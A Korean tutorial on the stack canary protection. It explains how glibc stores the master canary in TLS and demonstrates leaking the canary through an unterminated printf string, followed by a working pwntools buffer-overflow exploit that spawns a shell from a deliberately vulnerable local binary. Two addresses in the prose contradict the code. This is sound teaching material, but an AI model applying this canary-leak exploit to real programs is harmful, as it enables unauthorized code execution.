SSP 보호기법 이란?(우회하는 방법)
Stack Smashing Protector(SSP)는 메모리 커럽션 취약점 중 스택 버퍼 오버플로우 취약점을 막기 위해 개발된 보호 기법이다.
SSP의 원리는 스택 버퍼와 스택 프레임 포인터 사이에 Random값을 삽입하여 함수 종료 시점에서 랜덤 값 변조 여부를 검사하여 스택이 망가뜨려졌는지를 확인하는 방식이다.
그 랜덤 값을 Canary(카나리)라고 한다.
마스터 카나리는 main 함수가 호출되기 전에 랜덤으로 생성된 카나리를 스레드 별 전역 변수로 사용되는 TLS(Thread Local Storage)에 저장한다.
TLS 영역은 _dl_allocate_tls_storage 함수에서 __libc_memalign 함수를 호출하여 할당한다.
아래는 _dl_allocate_tls_storage함수이다.
void *
internal_function
_dl_allocate_tls_storage (void)
{
void *result;
size_t size = GL(dl_tls_static_size);
#if TLS_DTV_AT_TP
/* Memory layout is:
[ TLS_PRE_TCB_SIZE ] [ TLS_TCB_SIZE ] [ TLS blocks ]
^ This should be returned. */
size += (TLS_PRE_TCB_SIZE + GL(dl_tls_static_align) - 1)
& ~(GL(dl_tls_static_align) - 1);
#endif
/* Allocate a correctly aligned chunk of memory. */
result = __libc_memalign (GL(dl_tls_static_align), size);
아래는 security init 함수이다.
security_init함수는 shtack_chk_guard에서 생성한 랜덤 값을 설정한다.
static void
security_init (void)
{
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
__stack_chk_guard = stack_chk_guard;
#endif
아래의 THREAD_SET_STACK_GUARD는 header.stack_guard에 카나리 값을 삽입한다.
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
아래는 SSP의 스택상황이다.
#stack
ret
sfp
canary
buf
그러면 이제 canany가 어떻게 저장되는지 알아보자.
먼저 아래의 C코드를 컴파일 해준다.
// gcc -o master1 master1.c
#include <stdio.h>
#include <unistd.h>
int main()
{
char buf[256];
read(0, buf, 256);
}
먼저 checksec를 이용해서 확인해보자.
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
canary found라고 뜨는걸 확인할 수 있다.
이제 gdb로 확인해보자.
먼저 메인을 디스어셈블 해보자.
(gdb) disas main
Dump of assembler code for function main:
0x0804846b <+0>: lea ecx,[esp+0x4]
0x0804846f <+4>: and esp,0xfffffff0
0x08048472 <+7>: push DWORD PTR [ecx-0x4]
0x08048475 <+10>: push ebp
0x08048476 <+11>: mov ebp,esp
0x08048478 <+13>: push ecx
0x08048479 <+14>: sub esp,0x114
0x0804847f <+20>: mov eax,gs:0x14
0x08048485 <+26>: mov DWORD PTR [ebp-0xc],eax
0x08048488 <+29>: xor eax,eax
0x0804848a <+31>: sub esp,0x4
0x0804848d <+34>: push 0x100
0x08048492 <+39>: lea eax,[ebp-0x10c]
0x08048498 <+45>: push eax
0x08048499 <+46>: push 0x0
0x0804849b <+48>: call 0x8048330 <read@plt>
0x080484a0 <+53>: add esp,0x10
0x080484a3 <+56>: mov eax,0x0
0x080484a8 <+61>: mov edx,DWORD PTR [ebp-0xc]
0x080484ab <+64>: xor edx,DWORD PTR gs:0x14
0x080484b2 <+71>: je 0x80484b9 <main+78>
0x080484b4 <+73>: call 0x8048340 <__stack_chk_fail@plt>
---Type <return> to continue, or q <return> to quit---
0x080484b9 <+78>: mov ecx,DWORD PTR [ebp-0x4]
0x080484bc <+81>: leave
0x080484bd <+82>: lea esp,[ecx-0x4]
0x080484c0 <+85>: ret
End of assembler dump.
그러면 카나리 값을 확인하기 위해 <main+26>에 브레이크를 걸고 실행해보자.
(gdb) b *main+26
Breakpoint 1 at 0x8048485
(gdb) r
Starting program: /home/psj/pwn/ssp/1
Breakpoint 1, 0x08048485 in main ()
(gdb) p/x $eax
$1 = 0x9976a400
위처럼 브레이크를 건 시점에서 eax레지스터를 확인해보면 랜덤 값이 나오는걸 확인할 수 있다.(랜덤 값이라서 eax는 다 다를수 있음)
그러면 이제 마스터 카나리의 위치를 찾아보자.
먼저 proc map을 확인해야한다.
(gdb) i proc map
process 20529
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /home/psj/pwn/ssp/1
0x8049000 0x804a000 0x1000 0x0 /home/psj/pwn/ssp/1
0x804a000 0x804b000 0x1000 0x1000 /home/psj/pwn/ssp/1
>>> 0xf7e05000 0xf7e06000 0x1000 0x0
0xf7e06000 0xf7fb3000 0x1ad000 0x0 /lib32/libc-2.23.so
0xf7fb3000 0xf7fb4000 0x1000 0x1ad000 /lib32/libc-2.23.so
0xf7fb4000 0xf7fb6000 0x2000 0x1ad000 /lib32/libc-2.23.so
0xf7fb6000 0xf7fb7000 0x1000 0x1af000 /lib32/libc-2.23.so
0xf7fb7000 0xf7fba000 0x3000 0x0
0xf7fd3000 0xf7fd4000 0x1000 0x0
0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar]
0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso]
0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib32/ld-2.23.so
0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib32/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib32/ld-2.23.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
>>>로 표시 해놓은 곳 즉 0xf7e05000 ~ 0xf7306000이 TLS영역이다.
이 영역에서 방금 찾은 카나리 값 검색하면 된다.
(gdb) find 0xf7e05000,+0x1000,0x9976a400
0xf7e05714
1 pattern found.
(gdb) x/wx 0xf7e05714
0xf7e05714: 0x9976a400
위처럼 header.stack_guard에 카나리가 있는걸 확인할 수 있다.
이제 ssp우회 기법에 대해서 알아보도록 하겠다.
ssp는 카나리를 변조하지 않고 익스플로잇 해야한다.
아래의 C코드를 디스어셈블 해보자.
// gcc -o example6 example6.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
void give_shell(void){
system("/bin/sh");
}
int main(void){
char buf[32] = {};
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Input1 : ");
read(0, buf, 512);
printf("Your input : %s", buf);
printf("Input2 : ");
read(0, buf, 512);
}
위의 코드는 버퍼 크기보다 받는 주소가 많아서 BOF가 일어나지만, SSP가 적용되어 카나리를 모른다면 BOF를 하지 못한다.
하지만 중간에 printf로 buf를 출력한다. %s는 null바이트를 만날때 까지 출력하는데 배열의 끝이 null이 아니라면 그 메모리 밖의 영역까지 출력한다.
예를 들면 아래의 코드에서 buf를 A(8개)로 다 채우면 secret message가 출력된다.
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(void){
char buf[8] = {};
char secret[16] = {};
strcpy(secret, "secret message");
read(0, buf, 10);
printf("%s\n", buf);
}
그럼 아까 컴파일한 파일을 gdb로 buf와 카나리의 주소의 offset을 구해보자.
(gdb) i r esp
esp 0xffffd018 0xffffd018
(gdb) x/3wx 0xffffd018
0xffffd018: 0x00000000 0xffffd024 0x00000200
(gdb) x/40wx 0xffffd024
0xffffd024: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd034: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd044: 0xa8f07700 0x00000000 0xf7e1e647 0x00000001
0xffffd054: 0xffffd0e4 0xffffd0ec 0x00000000 0x00000000
0xffffd064: 0x00000000 0xf7fb6000 0xf7ffdc04 0xf7ffd000
0xffffd074: 0x00000000 0xf7fb6000 0xf7fb6000 0x00000000
0xffffd084: 0xe194e422 0xddf84a32 0x00000000 0x00000000
0xffffd094: 0x00000000 0x00000001 0x08048450 0x00000000
0xffffd0a4: 0xf7fedff0 0xf7fe8880 0xf7ffd000 0x00000001
0xffffd0b4: 0x08048450 0x00000000 0x08048471 0x0804855e
(gdb) p/x 0xffffd045-0xffffd024
$3 = 0x21
카나리주소 + 1 - buf의 주소를 하면 offset을 구할 수 있다.
위에 보면 0xffffd024가 buf의 시작주소이고, 0xffffd044가 카나리의 주소이다.
카나리 주소 + 1이니 0xffffd045가 된다.
0xffffd045-0xffffd024로 offset을 구할 수 있다.
offset : 0x21
이제 canary를 leak하는 코드를 만들어볼 것이다.
from pwn import *
#context.log_level = "debug"
p = process("./2")
print(p.recvuntil("1 : "))
p.send(b"A"*0x21)
print(p.recv(46)) #recv : your input : AAAA~~
canary = b"\x00" + p.recv(3) # canary : 0x~~~~~~00 so plus null(0x00)
canary = u32(canary) #unpack
shell_addr = 0x0804854b
print("Canary -> "+hex(canary)) #print canary
이제 익스플로잇 하기전에 get_shell의 위치를 확인해보자.
psj@ubuntu:~/pwn/ssp$ gdb -q ./2
Reading symbols from ./2...(no debugging symbols found)...done.
(gdb) info func
All defined functions:
Non-debugging symbols:
0x080483a0 _init
0x080483e0 read@plt
0x080483f0 printf@plt
0x08048400 __stack_chk_fail@plt
0x08048410 system@plt
0x08048420 __libc_start_main@plt
0x08048430 setvbuf@plt
0x08048450 _start
0x08048480 __x86.get_pc_thunk.bx
0x08048490 deregister_tm_clones
0x080484c0 register_tm_clones
0x08048500 __do_global_dtors_aux
0x08048520 frame_dummy
0x0804854b give_shell
0x0804855e main
0x08048620 __libc_csu_init
0x08048680 __libc_csu_fini
0x08048684 _fini
get_shell의 주소는 0x0804855e이다.
그러면 이제 exploit code를 짜보자.
from pwn import *
#context.log_level = "debug"
p = process("./2")
print(p.recvuntil("1 : "))
p.send(b"A"*0x21)
print(p.recv(46)) #recv : your input : AAAA~~
canary = b"\x00" + p.recv(3) # canary : 0x~~~~~~00 so plus null(0x00)
canary = u32(canary) #unpack
shell_addr = 0x0804854b
print("Canary -> "+hex(canary)) #print canary
payload = b"\x90"*32 #buf
payload += p32(canary) #canary
payload += b"\x90"*4 #sfp
payload += p32(0x0804854b) #ret
p.sendline(payload)
p.interactive()
위의 코드는 카나리를 첫번째 input을 이용해서 leak하고 두번째 input에서 bof를 했다.
이제 실행을 해보자.
쉘 획득에 성공한 걸 확인할 수 있다.